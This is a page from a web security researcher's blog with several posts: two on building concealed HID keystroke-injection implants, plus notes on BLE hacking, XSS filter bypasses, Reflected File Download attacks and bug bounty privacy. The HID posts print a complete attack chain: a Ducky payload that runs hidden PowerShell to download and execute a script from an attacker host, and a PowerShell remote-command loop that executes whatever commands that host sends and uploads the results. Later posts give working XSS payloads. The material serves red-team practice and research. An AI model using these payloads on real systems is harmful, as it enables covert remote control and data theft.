David Sopas – Web Security Researcher

Tips and Tricks

27/12/19 Hardware , Tips and Tricks # , , , , , ,

Gone in 30 seconds – a HID cable story tale

Gone in 30 seconds – a HID cable story tale

Following what I mentioned in my previous post, I went to my electronics bin and gathered a Logitech Wireless mouse (M185) and a USB cable.

On the mouse, I took the receiver – a Logitech Unifying Receiver CU0010 (nRF24L family):

And cut one of the sides of a random USB cable:

Split the wires:

Removed the cap from the Logitech receiver:

Solder (really need to improve my soldering skills) the wires (GND, Data+, Data- and VCC) into the receiver:

Put the USB connector cap on:

Add a nice plastic USB enclosure to make it more real:

All the process was fast, I took around 5 minutes to cut, solder and super-glue all together. In the end I think it could be better, specially when I rammed the USB connector with a knife.

For the second part it took a little more because I wanted to use another alternative to the existing HID cables – so I went with CrazyRadio + Bastille firmware and a final touch of bettercap HID module to send my Ducky payload. I wanted to take advantage of what I had and that’s it.

This is basically a walkthrough of what I did:

  • Write down the MAC address of the device (using HID.recon from bettercap or by checking the properties of the device – this will depend on your OS)
  • Write your Ducky payload – in this PoC is just a reverse shell to my VPS
STRING powershell -NoP -NonI -Exec Bypass -W hidden "IEX (New-Object System.Net.WebClient).DownloadString('http://ATTACKER_IP/ps.txt')"
function getUser() {
    $string = ([System.Security.Principal.WindowsIdentity]::GetCurrent().Name) | Out-String
    $string = $string.Trim()
    return $string
function getComputerName() {
    $string = (Get-WmiObject Win32_OperatingSystem).CSName | Out-String
    $string = $string.Trim()
    return $string
$resp = "http://ATTACKER_IP:8000/rat"
$w = New-Object Net.WebClient
while($true) {
    [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
    $r_get = $w.DownloadString($resp)
    $d = [System.Convert]::FromBase64String($r_get);
    $Ds = [System.Text.Encoding]::UTF8.GetString($d);
    while($r_get) {
        $output = invoke-expression $Ds | out-string
        $w.UploadString($resp, $output)
  • Connect the HID cable on the Windows victim machine (don’t forget that the payload will be OS dependable)
  • Start your listener on the attacker machine
  • Connect CrazyRadio and start bettercap
bettercap -eval="hid.recon on"
hid.inject MAC PT ducky.txt

And its basically game-over.
I did a short video to illustrate the PoC – https://www.youtube.com/watch?v=y9C-4bcgmIU.

In the process of creating this HID cable with “leftovers” I learn a few things:

  • Some Logitech Unifying receivers are not vulnerable to some known attacks – like keystroke injection;
  • Be careful when putting solder on the USB contacts. Just put a small amount and spread it slightly with your iron, that way the PCB will fit better on the USB connector;
  • Do a first run on a USB hub just to make sure you don’t burn your laptop port or something;
  • Don’t waste money buying expensive HID cables (specially when ripped from others) when you can make your own for less that $10;
  • Last point, don’t keep your brain focused on doing what others do and don’t be afraid do fail at first. Be persistent and never quit.
no responses
19/12/19 Hardware , Tips and Tricks # , , , , ,

Make HID great again

Since ever I’ve been using HID devices on red-team assessments at Char49 – specially using Rubber Ducky and latelly with Cactus WHID.
I wanted to play a little more so I’ve picked one of my favourite tools from my arsenal which is the tiny Digispark. This ATTINY85 with 8kb flash memory – became part of most of my assessments. From deap-drops to implants.

My last implant – we can call it HID modding – was to add a Digispark inside a damaged Wireless Adapter. The only components that I left from the original product was the USB connector and the external case.
Before connecting everything, I did a test lab using a old USB connector and the Digipark with soldered pins.

Why? In the past I did found bad PCB prints that misplaced DATA+ with the DATA- (in the Digispark is USB+ and USB-) so before using my shitty soldering skills I created the setup for future HID modding.

I ended up with the following schematics:

Everything was working properly so I added everything inside the Wireless Adapter and used super-glue to close the case.

Now I had a concealed HID device that I can put on a client and make him think is just an innocent network device.

The only part missing is the code. I connected the device to Arduino IDE and uploaded my sketch – which will do the following:

  1. Download a file from my domain using powershell
  2. Execute the ps1 file
  3. Get the reverse shell which pointed to my VPS

Ducky payload (I used duck2spark from mame82 to convert my duck scripts to digispark source):

STRING powershell -NoP -NonI -Exec Bypass "IEX (New-Object System.Net.WebClient).DownloadFile('http://YOUR-IP/ps.txt',\"file.ps1\")";
STRING powershell -W Hidden .\file.ps1

Powershell script:

function getUser() {
	$string = ([System.Security.Principal.WindowsIdentity]::GetCurrent().Name) | Out-String
    $string = $string.Trim()
    return $string

function getComputerName() {
    $string = (Get-WmiObject Win32_OperatingSystem).CSName | Out-String
    $string = $string.Trim()
    return $string

$resp = "http://YOUR-IP:8000/rat"
$w = New-Object Net.WebClient
while($true) {
	[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
	$r_get = $w.DownloadString($resp)
    $d = [System.Convert]::FromBase64String($r_get);
    $Ds = [System.Text.Encoding]::UTF8.GetString($d);

	while($r_get) {
		$output = invoke-expression $Ds | out-string
		$w.UploadString($resp, $output)

I created a small video for educational purposes only – find it here.

The target machine was a fresh and up-to-date Windows 10 Pro install with Windows Defender and Firewall on.

How much did it cost?

Well the only thing was really the Digispark which you can get on Aliexpress for 1 to 3 bucks a piece.

I already have other ideas, like adding Digispark on other “junk” that I have on my “crappy stuff that I should recycle” – RC toys, USB convertors, IP cameras, etc.

To conclude this post, I recently bought Evil Crow Cable and O.MG DemonSeed EDU so I hope to have time to explore these devices.

To learn more about HID, you should follow these talented guys on Twitter – @mame82, @lucabongiorni and @_MG_.
Also I recommend everyone to see the talk from my mate @kripthor regarding the steps on creating UberHid.

Any feedback feel free to ping me on Twitter – @dsopas.



no responses
30/09/17 Papers , Tips and Tricks # , , , , , ,

My notes on Hacking BLE – list of resources

My notes on Hacking BLE – list of resources

In the last few weeks I went for a drive into the Bluetooth Low Energy (aka BLE) topic.
There are many articles on the web on “how to hack BLE” and stuff like that, so this is just a compilation of the things I wrote on my notepad and my decision of sharing it with the community.

In a nutshell, what I did… Bought some cheap BLE devices and played around.

I start by scanning the device. Do some recon on it and then check what I can get from it. Sniffing, RE the mobile app, MiTM, etc.
At first I always scan for devices and enumerate the services and characteristics. BLEAH could be a good choice.

I tried different techniques but the one that I got better results was MiTM.
Sniffing in my opinion you need luck. Even if you have three Ubertooth covering all three advertisement channels – Uberteeth 🙂 you still need lots of luck and a faraday cage

For MiTM I use GATTacker. My lab is powered by a laptop with Kali installed and a Raspberry, with Raspbian installed. One is the central and the other is the peripheral. The rest is quite simple:

  1. Start the central
  2. Scan for devices
  3. Grab the device ID and scan the services and characteristics
  4. Send advertisements
  5. Turn on the bluetooth on your phone and run the mobile app
  6. Modify the dump file
  7. Replay
  8. Gameover

Eg of a smart lock showing the master key and my own key (in plaintext):

I’m still learning but I’m enjoying every step.

Some tips I learned along the way:

  • Start by reading specification (core and GATT) and learn how it works
  • Sometimes you need to change your bdaddr (MAC addr) to match the original device
  • Study the hardware and check what kind of approach is better (sniffing, MiTM, brute-forcing, etc)
  • You learn a lot by RE the mobile application
  • By reversing don’t forget to search for specific keywords – liked password, CMD, secret and stuff like (sometimes you get some low hanging fruits)
  • For alternative sniffing, use Android Bluetooth HCI snoop log
  • Be persistent, don’t give up on first sign of fail


Must read




I hope this article helps out newcomers in this BLE hacking and also help pros with a list of interesting material.
Feel free to send me more resources, I’ll keep updating.

Meanwhile follow me on Twitter – @dsopas to get the latest updates on my work.

no responses
11/01/17 Tips and Tricks # , , , ,

Meter HTML5 XSS filter bypass

I was playing around with some new HTML5 features and noticed a funny one.

Meter gives you a cool progress bar on-the-fly – https://developer.mozilla.org/en-US/docs/Web/HTML/Element/meter

Immediately I thought about using it to bypass some WRONG blacklist tags XSS filter and add a event to it:

<meter onmouseover="alert(1)"

You can check it on https://jsfiddle.net/btksfbbx/

Nowadays this doesn’t make any advantage to a researcher because you can use arbitrary tags:

<sopas style=font-size:200px onmouseover=alert(1)>Sopas

Online – https://jsfiddle.net/thnwcjcx/

no responses
14/01/16 Tips and Tricks # , ,

201 event handlers supported by modern browsers

no responses
06/01/16 Interesting Readings , Tips and Tricks # , , ,

Why some vendors ignore RFD attacks?

Why some vendors ignore RFD attacks?

Since I published my Reflected File Download Cheat Sheet I’m getting lot’s of private messages and emails from security researchers and bounty hunters telling that most companies ignore RFD attacks.
So I decided to clear things up and answer three most popular questions.

First a little introduction.
In my opinion they’re three ways of implementing a successful RFD attack.

  1. URL address automatically prompts the download dialog in most popular browsers
  2. Attack is only available using a external page in modern browsers but works like (1) in Internet Explorer 8 and 9 browsers
  3. Attack is only available using a external page in modern browsers


“Reflected File Download is a social engineering attack.”

On attack scenario (1) the victim is prompted with a download dialog just by visiting/clicking the URL – just like a reflected XSS but here the victim downloads a file from a trusted source. In 90% of the cases the victim runs the file. Imagine having the following URL:

[It’s just an example, this will not work]

If the victim runs the URL it will prompt the download of setup.bat. On Chrome you don’t need to see the source because you see the URL. On Firefox and IE you’ll the the source on the download dialog.

Attack scenario (2) works like (1) in IE 8 and 9. Other browsers need a external page to work using HTML5 download attribute.
The attackers in this last case need to launch a malicious campaign with that link. It’s like phishing emails but here the URL is from a trusted source.

Imagine this attack scenario:

  1. Attacker creates a page with a RFD link to a hosting company
  2. That page offers domain or hosting promo codes
  3. When the victim checks the link (mouse hover or view the source code) it will see that’s from a trusted source [the hosting company]
  4. Victim clicks the link and downloads the file (when they view the source of the download they will see the hosting company)
  5. Victim gets hijacked

On attack scenario (3) it’s the same scenario from (2) but don’t work as told before on IE 8 and 9.

Some may consider (2) and (3) a social engineering attack. The attacker needs to attract victims into his RFD page. For me it’s a grey area. They’re lot’s of ways to bring victims to a malicious page [blackhat seo, forums, social networks] without too much trouble. The key point here is that the RFD URL is from a trusted source which give the victim a little of confidence that they will download something that is what they’re are loooking for.
Companies that ignore this will have their reputation affected because they didn’t do anything to prevent this attack to their clients.


“We can’t do anything about it. It’s a external page that we can’t control.”

Wrong! On (1) you don’t need a external page.
On (2) and (3) the affected companies can protect and prevent RFD attacks by forcing the filename:

content-disposition:attachment; filename="f.txt"

Even if the attacker external page is using:

<a href="http://RFD_URL" download="setup.bat">Click here</a>

It will try to download f.txt.

Workable fix this by using the following:



“Google don’t consider this to be a issue”

Google has a specific page that tells security researchers that Reflected File Download security reports aren’t reliable for a reward.

But at the end of the text you can read the following:

Before sending a report please remember to include a realistic attack scenario, preferably, one that doesn’t require social engineering.

I already sent two (1) issues to Google and they were both accepted. So always give a good attack scenario.

I already helped most popular companies to fix Reflected File Download issues – Yahoo!, eBay, Microsoft, Google, Linkedin and many more.
Keep your security report clear and complete. Don’t argue with the affected company about their opinion. It’s their prerogative to deny your security report. In the end it’s their decision. – Keep calm and carry on!

Have a good and secure year of 2016 🙂

no responses
14/12/15 Tips and Tricks # , , ,

XSS on a input hidden field

XSS on a input hidden field

…where you have the input sanitized for ‘<> chars.

I come across a web application on a bounty program where the returnurl was placed in the following HTML:

<input type="hidden" name="returnurl" value="[USER INJECT]" />

The security filter removed <>’ chars but kept the double quote active and reflected.
What’s the first thing that comes to mind?

http://victim/?returnurl=" onclick="prompt(1)

Oh no! Wait… This is a hidden field so most Javascript events can’t work because you can’t see the input box right?
Also you can’t style it to show the field.

What I did was quite simple. I remember that Gareth Heyes wrote a small article on PortSwigger where you can use accesskey to get the XSS working. You press a key on your keyboard and you call a Javascript event. So my injection become:

http://victim/?returnurl=" accesskey="X" onclick="alert(document.domain)

Which reflected:

<input type="hidden" name="returnurl" value="" accesskey="X" onclick="alert(document.domain)" />

If the victim uses the accesskey X [usually by using ALT+SHIFT+X – Windows or CTRL+ALT+X in OSX] it will get the domain reflected in the javascript alert box. Keep in mind that this works only at Firefox.

To give a better report and also to bypass their single quote I also sent the following XSS vector:

http://victim/?returnurl=" accesskey="X" onclick="alert(String.fromCharCode(39,89,111,117,32,103,111,116,32,88,83,83,101,100,33,39))

It requires more user interaction but might give the bug appreciation program the Woooo! Factor 🙂

3 responses
27/11/15 Bug Bounty , Interesting Readings , Tips and Tricks # , , , ,

Should bug hunters provide real personal data on bug appreciation programs?

Should bug hunters provide real personal data on bug appreciation programs?

That’s a question that sometimes comes in mind of many “hunters”.

Personally in most cases, when I participate on these programs, I use fake information – one of the first reasons is to immediately test the input fields 🙂

Programs that required you to add your credit card info, phone number, bank info, … in most cases I try to slow down my research a bit. [As alternative sometimes I use one-time only credit cards but in other cases you need to provide other information to test further – eg: upload funds using your bank account. Also it’s a positive thing to have a phone number just to test bug appreciation programs. I already smsbomb myself using a vulnerability #shameonme]
I’m not paranoid but in my opinion it would me interesting if the program itself provides the security researcher with a payment sandbox. Some of them already do this.

Programs that want you to test their payment gateways, membership upgrades, etc… could create some private layer to help researchers. This is a win-win situation, where both parties have interest in giving their best.
Just to give you a background on this topic, a couple of weeks ago I had access to bank information using a SQL Injection vulnerability present on a bounty program. The data was in plaintext. Some of the info was from security researchers that were also testing their security.

I asked a couple of other researchers and some of them told me that they used fake payment data – that works if you are not buying or testing payments.

But I wanted more feedback… So I give it a try on the voting quiz available on Twitter and shared with my followers:

Do you use your personal information when bug hunting (name, phone, address, payment information, …)?

Yes – 26%
No – 39%
Not all the info – 35%

Total votes: 23 (duration: 24 hours)

Not many votes (timezone is a b****) but we can get a small idea on what bug hunters are doing.
74% of them don’t use their real information or just provide part of their personal data.

Bugcrowd told me that they provide test credentials wherever possible. They believe that providing that information to bug hunters participants is ideal, but that requires support on the backend side. Bugcrowd CEO – Casey Ellis – also told me that they advise programs [private or dojo] to create test accounts. If it’s a public program they advise them only if there’s a txn failsafe on the processing side because public may start using them for regular transactions.

Working with Cobalt I also had the opportunity to work with test accounts in their private programs.

On HackerOne I never come across test accounts, even with private programs. It would be cool if they comment this article about this.

Also I already come across of some bug appreciation programs that provided credit card details [bypassing the payment checks] to give the opportunity to researchers test live transactions.

I hope that with this article I help bug appreciation programs participants to protect themselves but at the same time providing the program a good service.

What you guys think about this?

no responses
09/11/15 Tips and Tricks # , ,

Tiny XSS exploitation

Tiny XSS exploitation

A well-known website had a limit of 32 chars on the user name field that was reflected in the public profile area.
That field allowed XSS exploitation:

d<img src=x onerror=prompt(1)>

Simple right?
But sometimes you need to provide a better vector where the affected company can see more than a prompt with a number. Also they know the limitation of their textfield to 32 chars.

I found two methods using SCRIPT and IFRAME.
When I was tring using this with a tiny URL [is.gd] pointing to my XSS code at davidsopas.com I realized that the vector wasn’t executing.
Why? It required HTTPS.

I searched for a tiny url that provided HTTPS and Google provide me with one – goo.gl.

So my final vector was:

<script src=//goo.gl/TJnzmV>
<iframe src=//goo.gl/xWYG4f>

29 chars and you I could use any Javascript I wanted.
It was fun!

You guys have any other method you like to share?

no responses